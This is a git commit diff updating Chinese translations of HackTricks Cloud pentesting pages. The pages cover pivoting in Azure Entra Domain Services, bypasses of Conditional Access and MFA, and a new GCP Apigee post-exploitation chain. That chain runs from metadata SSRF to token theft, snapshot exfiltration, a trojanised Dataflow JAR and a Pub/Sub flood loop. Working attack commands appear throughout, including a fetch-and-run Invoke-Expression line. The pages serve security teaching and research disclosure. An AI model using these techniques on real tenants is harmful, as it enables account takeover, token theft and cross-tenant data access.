Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2026-02-12 13:34:29 +00:00
parent 0e56bb6ea7
commit 1132522fe6
5 changed files with 156 additions and 79 deletions

View File

@@ -1,11 +1,12 @@
您可以在发送 PR 之前删除此内容:
在发送 PR 之前,你可以删除这些内容:
## Attribution
我们重视的知识并鼓励分享内容。请确保您仅上传拥有或已获得原作者分享权限的内容(在添加的文本中或您正在修改页面末尾添加对作者的引用,或两者添加)。对知识产权的尊重为每个人营造一个值得信赖和合法的享环境。
## 署名
我们重视的知识并鼓励分享内容。请确保你只上传拥有或已获得原作者许可分享的内容(在新增文本中或在修改页面末尾添加对作者的引用,或两者同时添加)。对知识产权的尊重有助于为所有人营造一个可信且合法的享环境。
## HackTricks Training
如果您添加内容是为了通过 [ARTE certification](https://training.hacktricks.xyz/courses/arte) 考试以获得 2 个标志而不是 3 个,您需要将 PR 命名为 `arte-<username>`
## HackTricks 培训
如果你提交 PR 是为了通过 [ARTE certification](https://hacktricks-training.com/courses/arte) 考试并以 2 flags 代替 3 flags需要将 PR 命名为 `arte-<username>``grte-<username>``azrte-<username>`,具体取决于你参加的认证
外,请记住,语法/法修正不被接受减少考试标志
外,请记住,仅进行语法/法修正不被接受作为减少考试 flag 的理由
无论如何,感谢您为 HackTricks 做出的贡献!
无论如何,感谢你为 HackTricks 做出的贡献!

View File

@@ -1,14 +1,14 @@
> [!TIP]
> 学习和实践 AWS 黑客技术:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习和实践 GCP 黑客技术:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> 学习和实践 Azure 黑客技术:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> 学习并练习 AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习并练习 GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习并练习 Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>支持 HackTricks</summary>
>
> - 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧
> - 查看 [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) 或 [**telegram group**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库 提交 PRs 来分享 hacking tricks
>
> </details>

View File

@@ -2,44 +2,52 @@
{{#include ../../../banners/hacktricks-training.md}}
## Domain Services
## 域服务
Microsoft Entra Domain Services 允许在 Azure 中部署 Active Directory而无需管理域控制器(实际上甚至无法访问它们)。
Microsoft Entra Domain Services 允许在 Azure 中部署 Active Directory而无需管理 Domain Controllers(实际上甚至无法访问它们)。
其主要目是允许在云中运行无法使用现代身份验证方法的遗留应用程序,或者您不希望目录查找始终返回到本地 AD DS 环境。
其主要目是允许在云中运行无法使用现代身份验证方法的遗留应用,或在你不希望目录查找总是回到本地 on-premises AD DS 环境时使用
请注意,为了将 Entra ID 中生成的用户(而不是从其他活动目录同步的用户)同步到 AD 域服务,您需要**更改用户的密码**为新密码,以便可以与新的 AD 同步。实际上,用户在密码更改之前不会从 Microsoft Entra ID 同步到域服务
请注意,为了将 Entra ID 中生成的用户(而从其他 Active Directory 同步过来的用户)同步到 AD domain service你需要将该用户的密码**更改为新密码**,以便可以与新的 AD 同步。实际上,用户在更改密码之前不会从 Microsoft Entra ID 同步到 Domain Services
> [!WARNING]
> 即使正在创建一个新的活动目录域,也无法完全管理(除非利用些错误配置),这意味着默认情况下例如您无法直接在 AD 中创建用户。通过**从 Entra ID 同步用户**来创建它们。可以指示同步所有用户(即使是从其他本地 AD 同步的用户)、仅云用户(在 Entra ID 中创建的用户),甚至**进一步过滤它们**。
> 即使正在创建一个新的 active directory 域,也无法对其进行完全管理(除非利用些错误配置),这意味着默认情况下例如你不能直接在 AD 中创建用户。你需要通过 **从 Entra ID 同步用户** 来创建它们。可以选择同步所有用户(即使是从其他 on-premise AD 同步过来的),仅同步云用户(在 Entra ID 中创建的用户),或者甚至**对它们进行更多筛选**。
> [!NOTE]
> 通常,由于新域配置的灵活性不足以及 AD 通常已经在本地的事实,这并不是 Entra ID AD 之间的主要集成,但仍然值得了解如何妥协它
> 一般来说,由于新域配置的灵活性较差且 AD 通常已经存在于本地,这并不是 Entra ID AD 之间的主要集成方式,但了解如何攻陷它仍然很有意义
### Pivoting
生成的 **`AAD DC Administrators`** 组的成员在托管域关联 VM 上被授予本地管理员权限(但不在域控制器上),因为他们被添加到本地管理员组中。该组的成员还可以使用**远程桌面远程连接到域加入的 VM**,并且也是以下组的成员:
生成的 **`AAD DC Administrators`** 组的成员在加入该托管域的域关联 VM 上被授予本地管理员权限(但不包括 domain controllers),因为他们被添加到本地 administrators 组。该组的成员还可以使用 **远程桌面 (Remote Desktop) 远程连接到域关联的 VM**,并且也是以下组的成员:
- **`Denied RODC Password Replication Group`**:这是一个指定用户和组的组,这些用户和组的密码不能在 RODC(只读域控制器)上缓存。
- **`Group Policy Creators Owners`**:该组允许成员在域中创建组策略。然而,其成员无法将组策略应用于用户或组编辑现有的 GPO因此在此环境中并不是有趣。
- **`DnsAdmins`**:该组允许管理 DNS 设置,并在过去被滥用以[提升权限并妥协](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)然而在此环境中测试该攻击后,检查到该漏洞已被修补:
- **`Denied RODC Password Replication Group`**:这是一个指定些用户和组的密码不能在 RODCsRead-Only Domain Controllers)上缓存的组
- **`Group Policy Creators Owners`**:该组允许成员在域中创建 Group Policies。然而,其成员无法将组策略应用于用户或组,也不能编辑现有的 GPO所以在此环境中并不是特别有趣。
- **`DnsAdmins`**:该组允许管理 DNS 设置,过去被滥用以[提升权限并攻陷](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)但在对该环境中的攻击进行测试后,已确认该漏洞已被修补:
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
```
注意为了授予这些权限在AD中**`AAD DC Administrators`** 组被添加为之前组的成员并且GPO **`AADDC Computers GPO`** 将域组 **`AAD DC Administrators`** 的所有成员添加为本地管理员。
Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
从Entra ID到使用域服务创建的AD的横向移动是直接的只需将用户添加到 **`AAD DC Administrators`** 组中通过RDP访问域中的任何/所有机器,您将能够窃取数据并**妥协域。**
注意:为赋予这些权限,在 AD 内,组 **`AAD DC Administrators`** 被加入到前述的各个组中;同时 GPO **`AADDC Computers GPO`** 会将域组 **`AAD DC Administrators`** 的所有成员添加为 Local Administrators。
然而从域到Entra ID的横向移动并不容易因为域中的内容没有被同步到Entra ID。然而始终检查所有加入的VM的元数据因为它们的分配的托管身份可能具有有趣的权限。同时**从域中转储所有用户密码**并尝试破解它们然后登录到Entra ID / Azure。
Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**
Pivoting from Entra ID 到使用 Domain Services 创建的 AD 是很直接的,只需将一个用户加入组 **`AAD DC Administrators`**,通过 RDP 访问域内任意/所有机器,就可以窃取数据并且能够 **compromise the domain.**
However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always checn the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
然而,从 domain 向 Entra ID 进行 pivoting 并不容易,因为 domain 中的内容并未同步到 Entra ID。不过始终检查所有已加入的 VMs 的 metadata因为它们被分配的 managed identities 可能拥有有趣的权限。此外,**dump all the users passwords from the domain** 并尝试 crack 它们,然后登录到 Entra ID / Azure。
> [!NOTE]
> 注意在过去发现了此托管AD中的其他漏洞这些漏洞允许妥协DC[像这个](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)。妥协DC的攻击者可以非常轻松地保持持久性而Azure管理员则未注意到或甚至无法删除它。
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
>
> 需要注意的是,过去在这个 managed AD 中发现过其他漏洞,允许 compromise the DCs例如 [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)。攻击者一旦 compromise the DC就很容易保持 persistence而 Azure admins 可能不会注意到,甚至无法将其移除。
### 枚举
### Enumeration
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
@@ -59,7 +67,7 @@ az rest --method post \
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

View File

@@ -2,17 +2,17 @@
{{#include ../../../../banners/hacktricks-training.md}}
## 基本信息
## Basic Information
Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据某些 **条件** 强制执行对 Azure 服务和应用程序的访问控制。这些策略通过在适当情况下应用正确的访问控制,帮助组织保护其资源。\
条件访问策略基本上 **定义** **谁** 可以 **哪里** **如何** 访问 **什么**
Azure Conditional Access policies 是在 Microsoft Azure 中设置的规则,用于根据特定的 **条件** 强制对 Azure 服务和应用程序 的访问控制。 这些策略通过在适当情况下应用正确的访问控制,帮助组织保护其资源。\
Conditional access policies 基本上 **定义** **谁** 可以访问 **什么** **哪里** **如何**
以下是几个示例:
下面是一些示例:
1. **登录风险策略**:当检测到登录风险时,可以设置此策略要求多因素身份验证 (MFA)。例如,如果用户的登录行为与其常规模式相比异常,例如从不同国家登录,系统可以提示进行额外的身份验证。
2. **设备合规性策略**:此策略可以限制对 Azure 服务的访问,仅限于符合组织安全标准的设备。例如,只有在具有最新防病毒软件或运行特定操作系统版本的设备上,才允许访问。
1. **Sign-In Risk Policy**:当检测到登录风险时,此策略可以设置要求多因素身份验证 (MFA)。例如,如果用户的登录行为与其常规模式不同,例如从另一个国家登录,系统可以提示进行额外的身份验证。
2. **Device Compliance Policy**:此策略可以对 Azure 服务的访问限制为仅符合组织安全标准的设备。例如,只有安装了最新防病毒软件或运行某个特定操作系统版本的设备才能被允许访问。
## Enumeration
## 枚举
```bash
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
@@ -22,77 +22,77 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
```
## 条件访问策略绕过
条件访问策略有可能**检查一些可以轻易篡改的信息,从而允许绕过该策略**。例如,如果策略配置了 MFA攻击者将能够绕过它。
可能存在某个条件访问策略**检查一些可以轻易篡改的信息,从而允许绕过该策略**。例如,如果策略配置了 MFA攻击者就能绕过它。
在配置条件访问策略时,需要指明**受影响的用户**和**目标资源**(如所有云应用)。
在配置条件访问策略时,需要指明受影响的**用户**和**目标资源**如所有云应用)。
还需要配置**触发**策略的**条件**
还需要配置**触发**策略的**条件**
- **网络**IP、IP 范围和地理位置
- 可以使用 VPN 或代理连接到一个国家,或设法从允许的 IP 地址登录来绕过
- **Microsoft 风险**:用户风险、登录风险、内部人风险
- **设备平台**:任何设备或选择 Android、iOS、Windows Phone、Windows、macOS、Linux
- 如果未选择“任何设备”,但选择了所有其他选项,则可以使用与这些平台关的随机用户代理绕过
- **客户端应用**选项为“浏览器”、“移动应用和桌面客户端”、“Exchange ActiveSync 客户端”和“其他客户端”
- 通过未选择的选项绕过登录
- **设备过滤**:可以生成与使用的设备相关的规则
- **身份验证流程**:选项为“设备代码流程”和“身份验证转移”
- 这不会影响攻击者,除非他试图在钓鱼尝试滥用任何这些协议以访问受害者的帐户
- **Network**IP、IP 范围和地理位置
可以通过使用 VPN 或 Proxy 连接到被允许的国家/地区,或从被允许的 IP 地址登录来绕过
- **Microsoft risks**User risk、Sign-in risk、Insider risk
- **Device platforms**Any device 或选择 Android、iOS、Windows phone、Windows、macOS、Linux
如果未选择 “Any device” 但选择了所有其他选项,则可以通过使用与这些平台不相关的随机 user-agent 来绕过
- **Client apps**:选项有 “Browser”、“Mobiles apps and desktop clients”、“Exchange ActiveSync clients” 和 “Other clients”
可通过使用未被选中的选项绕过登录
- **Filter for devices**:可以根据所使用的设备生成规则
- **Authentication flows**:选项有 “Device code flow” 和 “Authentication transfer”
除非攻击者尝试滥用这些协议进行钓鱼以访问受害者账户,否则这些对攻击者影响不大
可能的**结果**:阻止或授予访问权限,可能的条件包括要求 MFA、设备合规等…
可能的**结果**:阻止或授予访问,同时可能附加条件,例如要求 MFA、设备合规等…
### 设备平台 - 设备条件
可以基于**设备平台**Android、iOS、Windows、macOS...)设置条件,这基于**用户代理**,因此很容易绕过。即使**强制所有选项执行 MFA**,如果使用**未被识别的用户代理,**也将能够绕过 MFA 或阻止:
可以基于**设备平台**Android、iOS、Windows、macOS)设置条件,然而这基于 **user-agent**,因此很容易绕过。即使**所有选项设置为强制 MFA**,如果使用未被识别的 **user-agent**,也可以绕过 MFA 或阻止策略
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
只需让浏览器**发送一个未知的用户代理**(如 `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`)就足以不触发此条件。\
可以在开发者工具中**手动**更改用户代理
只需让浏览器**发送一个未知的 user-agent**`Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`)就足以不触发此条件。\
可以在开发者工具中**手动**更改 user agent
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
或者使用[这样的浏览器扩展](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)。
或者使用像这个 [浏览器扩展](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)。
### 位置国家、IP 范围 - 设备条件
如果在条件策略中设置了这一点,攻击者可以使用**VPN**连接到**允许的国家**,或尝试找到从**允许的 IP 地址**访问的方法来绕过这些条件。
如果在条件策略中设置了此项,攻击者可以在被**允许的国家**使用 **VPN**,或尝试从**允许的 IP 地址**访问来绕过这些条件。
### 云应用
可以配置**条件访问策略以阻止或强制**例如在用户尝试访问**特定应用**时进行 MFA
可以配置**条件访问策略**在用户尝试访问 **特定应用** 时阻止访问或强制执行(例如 MFA
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
要尝试绕过此保护,您应该查看是否可以**仅登录任何应用程序**。\
工具[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)具有**数十个硬编码的应用程序 ID**并将尝试登录这些应用程序,并在成功时通知您,甚至提供令牌
要尝试绕过此保护,查看是否可以登录到任意应用。\
工具 [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) 硬编码了**数十个 application IDs**尝试登录这些应用,若成功会告知你并甚至返回 token
为了**测试特定资源中的特定应用程序 ID**您还可以使用下工具:
为了**特定资源中测试特定的 application IDs**你也可以使用下工具:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
```
此外,可以保护登录方式(例如,如果您尝试从浏览器或桌面应用程序登录)。工具 [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) 行一些检查以尝试绕过这些保护。
此外,可以登录方法进行保护(例如,从浏览器或桌面应用尝试登录)。工具 [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) 也会执行一些检查以尝试绕过这些保护。
工具 [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) 也可用于类似目的,尽管它看起来没有维护。
工具 [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) 也可用于类似目的,尽管它看起来未被维护。
工具 [**ROPCI**](https://github.com/wunderwuzzi23/ropci) 也可用于测试这些保护措施,看看是否可绕过 MFA 或阻止,该工具是从 **白盒** 角度工作的。首先需要下载租户中允许的应用程序列表,然后它尝试登录这些应用程序
工具 [**ROPCI**](https://github.com/wunderwuzzi23/ropci) 也可用于测试这些保护、确认是否可绕过 MFAs 或阻止,不过该工具是从 **whitebox** 角度工作的。首先需要下载租户中允许的 Apps 列表,然后它尝试登录这些应用。
## 其他 Az MFA 绕过
### 铃声
一个 Azure MFA 选项是 **接收在配置的电话号码上的电话**,用户将被要求 **发送字符 `#`**
一个 Azure MFA 选项是向配置的电话号码**拨打电话**,并要求用户**按下字符 `#`**。
> [!CAUTION]
> 由于字符只是 **音调**,攻击者可以 **破坏** 电话号码的 **语音邮件** 消息,将 **`#` 的音调** 配置为消息,然后在请求 MFA 时确保 **受害者的电话正在忙**(拨打它),以便 Azure 的电话被重定向到语音邮件
> 由于字符只是**音调**,攻击者可以**入侵**电话号码的**语音信箱**消息,将消息配置为 `#` 的**音调**,然后在请求 MFA 时确保**受害者的电话处于忙线状态**(正在被呼叫),使 Azure 的电话被到语音信箱
### 合规设备
策略通常要求合规设备或 MFA因此 **攻击者可以注册合规设备**,获取 **PRT** 令牌**以此方式绕过 MFA**
策略通常要求使用合规设备或 MFA因此**攻击者可以注册合规设备**,获取 **PRT** 令牌,从而**以此方式绕过 MFA**。
首先在 Intune 中注册 **合规设备**,然后使用:
首先在 **Intune** 中注册 **合规设备**,然后使用以下方式**获取 PRT**
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
@@ -102,7 +102,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
```
找到有关此类攻击的更多信息,请访问以下页面:
关于这种攻击的更多信息,请参阅以下页面:
{{#ref}}
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
@@ -112,9 +112,9 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
脚本获取一些用户凭据并检查是否可以登录某些应用程序
脚本获取一些用户凭据并检查是否可以登录某些应用。
对于查看您**在某些应用程序中是否不需要 MFA 登录**非常有用,您可能会利用这些应用程序来**提升权限**。
有助于判断某些应用是否**无需 MFA 即可登录**,这些应用以后可能被滥用以**escalate privileges**。
### [roadrecon](https://github.com/dirkjanm/ROADtools)
@@ -124,17 +124,17 @@ roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep 是一个 PowerShell 脚本,尝试使用提供的凭据 **登录各种 Microsoft 服务,并尝试识别是否启用了 MFA**。根据条件访问策略和其他多因素身份验证设置的配置,一些协议可能最终会保持单因素。它还对 ADFS 配置进行额外检查,并可以在检测到时尝试登录到本地 ADFS 服务器。
MFASweep 是一个 PowerShell 脚本,尝试使用提供的一组凭据 **登录各种 Microsoft 服务,并尝试识别是否启用了 MFA**。根据条件访问策略和其他多因素证设置的配置方式,某些协议可能最终仍然只使用单因素认证。它还对 ADFS 配置进行额外检查,并在检测到时尝试登录到本地 ADFS 服务器。
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
这个工具帮助识别MFA绕过并在多个生产AAD租户中滥用APIAAD客户认为他们已强制实施MFA但基于ROPC的身份验证成功。
工具帮助识别 MFA 绕过,并在多个生产 AAD 租户中滥用 APIs。在这些租户中AAD 客户认为已强制启用 MFA但基于 ROPC 的身份验证仍然成功。
> [!TIP]
> 需要有权限列出所有应用程序,以便能够生成要进行暴力破解的应用程序列表。
> 需要具备列出所有应用的权限,才能生成要暴力破解的应用列表。
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
@@ -143,29 +143,29 @@ Invoke-MFASweep -Username <username> -Password <pass>
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token 是一组旨在帮助安全顾问验证条件访问策略、测试启用 2FA 的 Microsoft 门户等功能的工具
Donkey token 是一组函数,旨在帮助需要验证 Conditional Access Policies、测试启用 2FA 的 Microsoft 门户等的安全顾问
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**测试每个门户**是否可以**在没有 MFA 的情况下登录**
**测试每个门户** 是否可以 **在不使用 MFA 的情况下登录**
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
因为 **Azure** **门户** **没有限制**,可以 **从门户端点收集令牌以访问之前执行检测到的任何服务**。在这种情况下,识别 Sharepoint并请求访问它的令牌
因为 **Azure** **portal** **不受限制**因此可以 **从 portal 端点收集令牌以访问任何检测到的服务**(由之前的执行)。在本例中识别 Sharepoint并请求访问它的令牌
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
假设令牌具有 Sites.Read.All来自 Sharepoint权限,即使由于 MFA 无法通过网访问 Sharepoint仍然可以使用该令牌访问生成的令牌中的文件:
假设 token 具有 Sites.Read.All来自 Sharepoint权限即使你因为 MFA 无法通过网访问 Sharepoint可以使用生成的 token 来访问这些文件:
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## 参考
## 参考资料
- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)

View File

@@ -0,0 +1,68 @@
# GCP - Apigee 后期利用
{{#include ../../../banners/hacktricks-training.md}}
## Apigee 元数据 SSRF -> Dataflow 跨租户 pivot
一个单独的 Apigee 租户项目可以被滥用以访问 Message Processor 的元数据服务器,窃取其 service account并 pivot 到共享的 Dataflow 分析管道,该管道读取/写入 跨租户 buckets。
### 通过 Apigee 暴露 元数据 服务器
- 将 Apigee proxy target 设置为 `http://169.254.169.254`,并使用 `Metadata-Flavor: Google``/computeMetadata/v1/instance/service-accounts/default/token` 请求 tokens。
- GCP 元数据会拒绝包含 `X-Forwarded-For` 的请求Apigee 默认会添加该头。在代理之前使用 `AssignMessage` 去除它:
```xml
<AssignMessage name="strip-xff">
<Remove>
<Headers>
<Header name="X-Forwarded-For"/>
</Headers>
</Remove>
<IgnoreUnresolvedVariables>true</IgnoreUnresolvedVariables>
</AssignMessage>
```
### 枚举被盗的 Apigee 服务账户
- The leaked SA (Google-managed under `gcp-sa-apigee`) 可以使用诸如 [gcpwn](https://github.com/NetSPI/gcpwn) 的工具进行枚举,以快速测试权限。
- 观察到的强权限包括 **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, 和 **Pub/Sub topic publish**。基本发现:
```bash
gcloud compute disks list --project <tenant-project>
```
### Snapshot exfiltration for opaque managed services
有了 disk/snapshot 权限,即使无法登录租户项目,也可以离线检查受管运行时:
1. 在租户项目中为目标 disk 创建 snapshot。
2. 将 snapshot 复制/迁移到你的项目。
3. 从 snapshot 重新创建 disk 并将其附加到你的 VM。
4. 挂载并检查日志/配置,以恢复内部 bucket 名称、service accounts 和 pipeline 选项。
### Dataflow dependency replacement via writable staging bucket
- Analytics workers 在启动时从 GCS staging bucket 拉取 JAR。因为 Apigee SA 拥有 bucket 写权限,下载并修补 JAR例如使用 Recaf以调用 `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` 并窃取 **Dataflow worker** token。
- Dataflow workers 缺乏互联网出口;通过使用 in-cluster GCP APIs 将 token 写入攻击者控制的 GCS bucket 来 exfiltrate。
### Force malicious JAR execution by abusing autoscaling
现有 workers 不会重新加载已替换的 artifacts。淹没 pipeline 输入以触发新的 workers
```bash
for i in {1..5000}; do
gcloud pubsub topics publish apigee-analytics-notifications \
--message "flood-$i" --project <tenant-project>
done
```
新创建的实例会获取修补过的 JARs 并 leak the Dataflow SA token。
### 跨租户 bucket 设计缺陷
Decompiled Dataflow code 显示在一个共享的 metadata bucket 下存在诸如 `revenue/edge/<api|mint>/tenant2TenantGroupCacheDir` 的缓存路径,且没有任何租户特定的组件。凭借 Dataflow token 你可以 read/write:
- `tenantToTenantGroup` 缓存会暴露其他租户的项目和环境名称。
- `customFields``datastores` 文件夹保存每次请求的 analytics包括终端用户 IP 和明文 access tokens涉及所有租户。
- 写入权限意味着可能对分析数据进行篡改/中毒。
## References
- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/)
- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy)
{{#include ../../../banners/hacktricks-training.md}}